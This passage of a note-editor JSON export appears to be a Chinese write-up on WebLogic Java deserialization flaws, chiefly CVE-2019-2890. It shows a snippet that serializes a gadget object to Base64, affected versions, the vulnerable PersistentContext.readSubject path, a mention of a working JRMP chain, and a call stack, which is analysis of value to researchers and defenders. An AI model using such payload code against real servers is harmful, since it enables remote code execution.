{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmcI-1677142944254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oiox-1677142944253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZqAP-1677142944256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6g1J-1677142944255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bOdx-1677142944258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;deSi-1677142944257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(getObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z2bt-1677142944260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnb6-1677142944259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZAzB-1677142944262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ibQR-1677142944261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;StsB-1677142944264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hMnJ-1677142944263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dTbh-1677142944266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E49M-1677142944265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CiSl-1677142944268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nhD0-1677142944267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Np74-1677142944270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kBUG-1677142944269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        inputStream.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tRGF-1677142944272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJbc-1677142944271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OJGP-1677142944274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7f5v-1677142944273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dvS7-1677142944276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VEoz-1677142944275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCLX-1677142820778&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6093/WEBRESOURCEdc31792c20e9e5d37b1b923650896ba1&#34;,&#34;width&#34;:377,&#34;height&#34;:174},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6093/WEBRESOURCEdc31792c20e9e5d37b1b923650896ba1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:377,&#34;height&#34;:694},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmSh-1677142899209&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6095/WEBRESOURCE6a9918e2c9aca52c26109f0c170ba2aa&#34;,&#34;width&#34;:354,&#34;height&#34;:83},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6095/WEBRESOURCE6a9918e2c9aca52c26109f0c170ba2aa&#34;,&#34;initialSize&#34;:{&#34;width&#34;:354,&#34;height&#34;:282},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rrCg-1676858106009&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vqt5-1676858106007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其他可利用类就不赘述了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;05Na-1682255233219&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V42C-1682255233217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kyJ0-1682255233948&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i3cO-1682255233946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2019-2890&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zfBC-1682254539526&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;o5pW-1682254540621&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wB1s-1682254539525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8EGF-1682254539528&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;o5pW-1682254540621&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P5G9-1682254539527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Z5a-1682254539530&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;o5pW-1682254540621&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Unxa-1682254539529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fBuL-1682254539540&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQbJ-1682254539539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;问题出现在PersistentContext类上&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T591-1682254540635&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6603/WEBRESOURCE89f71f91778e0a74b8ec21f992bff40b&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6603/WEBRESOURCE89f71f91778e0a74b8ec21f992bff40b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LfMq-1682254539543&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZRdd-1682254539542&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在PersistentContext的readObject方法中会将ObjectInputStream类的var1对象传入readSubject方法&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LRy9-1682254539545&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l62E-1682254539544&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSubject方法会先调用EncryptionUtil.decrypt()对传入的stream流进行解密，并将后续解密后的流量进行反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mJhg-1682254540637&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6614/WEBRESOURCEe0892f847bf45b815bc981de6c902f1a&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6614/WEBRESOURCEe0892f847bf45b815bc981de6c902f1a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WI0U-1682254539548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBLY-1682254539547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于此处为ObjectInputStream原生的readObject()，并未有其他的readObject重写实现，故在后续过程中能够成功触发恶意反序列化利用链（下图为jrmp利用链执行结果）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Iuzg-1682254540638&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6615/WEBRESOURCEba5f5c20f24164213319e1ade774fe6f&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6615/WEBRESOURCEba5f5c20f24164213319e1ade774fe6f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Dls-1682258553403&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Od1-1682258553404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wBsI-1682254540639&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6616/WEBRESOURCE83698f04015758c7ef3bca109c087f85&#34;,&#34;width&#34;:1212,&#34;height&#34;:1034},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6616/WEBRESOURCE83698f04015758c7ef3bca109c087f85&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1212,&#34;height&#34;:1034},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KDBW-1682254540640&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6617/WEBRESOURCE0f1ff644e552936efe38139179a3f350&#34;,&#34;width&#34;:1178,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6617/WEBRESOURCE0f1ff644e552936efe38139179a3f350&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1178,&#34;height&#34;:216},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PIJh-1682254539553&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OGT3-1682254539552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FGSS-1682254614066&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dYbb-1682254614065&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GRHv-1682254539554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;registerRefs:155, DGCClient (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R2QG-1682254614945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ut3c-1682254614944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:312, LiveRef (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VXSe-1682254614947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Etrm-1682254614946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:493, UnicastRef (sun.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ND4c-1682254614949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tNV4-1682254614948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:455, RemoteObject (java.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tjiq-1682254614951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ctWT-1682254614950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U7rV-1682254614953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bs3c-1682254614952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CG6x-1682254614955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gMpd-1682254614954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8DXS-1682254614957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3wRp-1682254614956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PBTg-1682254614959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hKB7-1682254614958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Ey7-1682254614961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7XWJ-1682254614960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WLxP-1682254614963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHXj-1682254614962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ntZa-1682254614965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;guaa-1682254614964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kD6E-1682254614967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M708-1682254614966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;defaultReadFields:2231, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iR8j-1682254614969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VR1e-1682254614968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2155, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t7hT-1682254614971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I6A6-1682254614970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hQ8F-1682254614973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JcMU-1682254614972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XZEJ-1682254614975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yaPc-1682254614974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hf17-1682254614977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0tsF-1682254614976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSubject:168, PersistentContext (weblogic.wsee.jaxws.persistence)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rUES-1682254614979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f01p-1682254614978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:147, PersistentContext (weblogic.wsee.jaxws.persistence)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nP5a-1682254614981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mKIS-1682254614980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8cl-1682254614983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xhH6-1682254614982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cmh-1682254614986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FKst-1682254614985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kmk1-1682254614988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;axW1-1682254614987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RERv-1682254614990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tb5n-1682254614989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jk6y-1682254614992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kGoq-1682254614991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qwi6-1682254614994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiyK-1682254614993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GC7-1682254614996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4L3u-1682254614995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yqE7-1682254614998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z2mF-1682254614997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6L43-1682254615000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fEuD-1682254614999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3hJs-1682254615002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdhW-1682254615001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev 